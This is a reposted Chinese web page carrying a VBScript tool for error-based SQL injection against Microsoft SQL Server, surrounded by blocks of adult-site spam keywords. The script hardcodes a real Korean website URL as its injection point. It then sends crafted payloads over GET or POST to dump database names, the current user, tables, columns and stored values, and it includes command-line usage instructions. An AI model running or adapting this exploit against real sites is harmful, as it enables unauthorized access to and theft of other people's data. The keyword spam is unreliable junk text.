亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 數據庫 > SQL Server > 正文

Sql2005注射輔助腳本[粗糙版]

2024-08-31 01:01:29
字體:
來源:轉載
供稿:網友
作者:Tr4c3
'為了保持腳本的通用性,放棄了 and (select col_name(object_id('TableName'),N))=0這樣的用法。
'欲返回韓文等字符可修改121或者136行,更多的設置要自己修改
'更多功能請大家自己加入

Const method = "Get" '提交方式請修改此處,有get和post可選
Const DisPlay = "D" 'S 保存到文件,D輸出到屏幕

Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD

strUrl_B = "http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120'" '基于注射點的不確定性,此處請手工更改
i = 1 '庫的基數
k = 0 '表和字段的基數
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) '取url
strArg = MyArray(1) '取參數
Set Args = Wscript.Arguments

If Args.Count = 0 Then
ShowU
End If
'If Args.Count =1 And LCase(Args(0))

'************************************************************************
' 爆庫 
'************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))="databases" Then
ResuT("---------------===============================--------------")
ResuT("All The DataBases:")

Do
strData = " and quotename(db_name("&i&"))=0--"
sqlInj(strData)
i = i + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
ElseIf LCase(Trim(Args(0)))= "info" then
ResuT("---------------===============================--------------")
ResuT("The Current Database is:")
strData = " and quotename(db_name())=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The database User is:")
strData = " and quotename(user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The System_user is:")
strData = " and quotename(System_user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
Wscript.Quit
End If
End If
'************************************************************************
' 爆表 
'************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("---------------===============================--------------")
ResuT("The Tables Of " & Args(0))
Do
strData = " and (select top 1 quotename(name) from "& Args(0) & ".dbo.sysobjects where xtype=char(85) AND name not in (select top "& k &" name from "&Args(0)&".dbo.sysobjects where xtype=char(85)))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

'************************************************************************
' 爆字段 
'************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
Database = Args(0)
Table = Args(1)
TarGet = DataBase & ".dbo." & Table
TarGetCol = Database & ".DBO.SYSCOLUMNS"
ResuT("---------------===============================--------------")
ResuT("The Columns Of " & TarGet)
Do
strData = " and (select top 1 Quotename(name) from "& TarGetCol &" where id=object_id('"& TarGet &"') and name not in (select top "&k&" name from "& TarGetCol &" where id=object_id('"& TarGet &"')))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

'************************************************************************
' 爆字段值 
'************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
Database = Args(0)
Table = Args(1)
col = Args(2)
Target = Database & ".dbo." & Table 
ResuT("---------------===============================--------------")
ResuT("The Values Of " & Args(2) & " in "&Target)
Do
strData = " and (select top 1 quotename("& col &") from "& Target & " where "& col &" not in (select top "& k &" "& col &" from "& Target &"))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If

Sub SqlInj(value)
If UCase(method) = "GET" Then
value = strArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl &"?" & value , False
objXML.SetRequestHeader "Referer", strUrl
'objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strRevS = objXML.ResponseText '默認用這個
'strRevS = bytes2BSTR(objXML.ResponseBody) '韓文有時候要用這個
If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"&strD)
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = strArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText '默認用這個
'strRevS = bytes2BSTR(objXML.ResponseBody) '韓文有時候要用這個
If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"&strD)
Else
strD = ""
End If
End If
End Sub

Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function

Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function

Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Sql2005注射輔助腳本(粗糙版),用于mssql顯錯模式 By Tr4c3[at]126[Dot]com")
.Echo("Usage:")
.Echo(" cscript"&.ScriptName&" info--爆基本信息")
.Echo(" cscript"&.ScriptName&" databases--爆所有庫名")
.Echo(" cscript"&.ScriptName&" pubs tables--爆庫pubs里所有用戶表名")
.Echo(" cscript"&.ScriptName&" pubs authors cols--爆庫pubs里authors表的所有字段名")
.Echo(" cscript"&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
综合网日日天干夜夜久久| 揄拍成人国产精品视频| 亚洲国产精品电影在线观看| 中文字幕日韩专区| 欧美一级淫片aaaaaaa视频| 亚洲无av在线中文字幕| 久久夜精品va视频免费观看| 亚洲黄页视频免费观看| 欧美激情综合色综合啪啪五月| 色噜噜国产精品视频一区二区| 国产欧美日韩中文字幕| 在线看国产精品| 欧美成人小视频| 欧美成人黄色小视频| 国产午夜精品视频免费不卡69堂| 国产噜噜噜噜噜久久久久久久久| 国产精品久久77777| 丝袜美腿精品国产二区| 亚洲色图色老头| 国产日韩在线视频| 亚洲黄一区二区| 日本中文字幕久久看| 亚洲一区二区三区视频播放| 亚洲欧美一区二区三区久久| 国产在线98福利播放视频| 亚洲日本中文字幕| 日韩在线观看免费网站| 亚洲欧美中文日韩在线| 亚洲精品成人免费| 亚洲欧美中文日韩在线| 精品国产精品三级精品av网址| 亚洲欧美一区二区三区在线| 日韩高清有码在线| 国产精品中文字幕在线| 精品香蕉一区二区三区| 福利一区视频在线观看| 伊人久久免费视频| 精品成人69xx.xyz| 亚洲色无码播放| 日韩精品久久久久久久玫瑰园| 性金发美女69hd大尺寸| 色综合久久中文字幕综合网小说| 欧洲成人午夜免费大片| 欧美精品少妇videofree| 成人欧美一区二区三区在线湿哒哒| 亚洲精品aⅴ中文字幕乱码| 欧美日韩一区免费| 26uuu另类亚洲欧美日本老年| 91亚洲国产成人精品性色| 日韩欧美国产成人| 国产亚洲福利一区| 奇米四色中文综合久久| 欧美精品久久久久久久| 在线成人中文字幕| 久久久精品影院| 日韩性xxxx爱| 国产欧美一区二区三区久久| 欧美老肥婆性猛交视频| 久久久影视精品| 久久精品99久久久久久久久| 91a在线视频| 国产偷亚洲偷欧美偷精品| 欧美视频免费在线观看| 亚洲成人黄色在线| 欧美激情一区二区三区在线视频观看| 青青草原一区二区| 亚洲一区二区三区sesese| 91色视频在线观看| 亚洲国产精品女人久久久| 色偷偷88888欧美精品久久久| 精品一区二区三区四区| 日韩电影免费观看中文字幕| 欧美精品生活片| 亚洲成人网av| 久久精品国产久精国产一老狼| 国产精品一区二区久久久| 亚洲国产成人91精品| 一夜七次郎国产精品亚洲| 97在线视频免费看| 91色p视频在线| 久久久成人精品| 中文.日本.精品| 欧美黑人狂野猛交老妇| 97国产成人精品视频| 91久久久久久国产精品| 操91在线视频| 色偷偷偷综合中文字幕;dd| 91高潮精品免费porn| 国产亚洲精品高潮| 国产精品日韩欧美综合| 国产精品福利无圣光在线一区| 欧美成人精品xxx| 日韩欧美极品在线观看| 国产综合在线视频| 美乳少妇欧美精品| 欧美国产日本在线| 欧美贵妇videos办公室| 久久精品国产精品| 中文字幕亚洲自拍| 91久久久久久久久| 亚洲女人天堂网| 成人欧美一区二区三区在线湿哒哒| 91免费欧美精品| 午夜精品一区二区三区视频免费看| 国产精品美腿一区在线看| 亚洲一区二区三区毛片| 欧美日韩裸体免费视频| 亚洲欧美国产va在线影院| 国产精品日韩欧美大师| 国产精品久久久久久久久久ktv| 亚洲国产一区二区三区四区| 亚洲第一福利视频| 国产精品激情av电影在线观看| 福利一区福利二区微拍刺激| 国外成人性视频| 91手机视频在线观看| 亚洲黄一区二区| 另类美女黄大片| 亚洲精品免费在线视频| 欧美高清自拍一区| 日韩成人黄色av| 欧美一区二区三区……| 91在线观看免费高清完整版在线观看| 久久天天躁狠狠躁夜夜爽蜜月| 色狠狠av一区二区三区香蕉蜜桃| 亚洲人成电影在线播放| 精品国产拍在线观看| 国产区亚洲区欧美区| 欧美精品在线免费播放| 一区二区三区精品99久久| 成人性生交大片免费看视频直播| 久久精品电影网站| 色狠狠av一区二区三区香蕉蜜桃| 欧美一区二区三区……| 欧美视频中文字幕在线| 亚洲一区二区国产| 亚洲第一视频在线观看| 97婷婷涩涩精品一区| 国产一区二区三区中文| 亚洲国产精品va在线| 日韩视频一区在线| 国产日本欧美在线观看| 久久精品青青大伊人av| 日韩av在线免费看| 欧美大片va欧美在线播放| 2018日韩中文字幕| 欧美丰满少妇xxxxx做受| 亚洲精品国产精品国自产在线| 国产亚洲精品久久久久动| 久久久亚洲成人| 91tv亚洲精品香蕉国产一区7ujn| 亚洲精品国产品国语在线| 久久久久亚洲精品国产| 精品视频久久久久久久| 人体精品一二三区| 欲色天天网综合久久| 韩剧1988在线观看免费完整版| 欧美国产视频一区二区| 国产精品自产拍在线观看| 欧美日韩一区二区在线播放| 日韩黄色av网站| 国产精品igao视频| 黑人精品xxx一区一二区| 福利一区视频在线观看|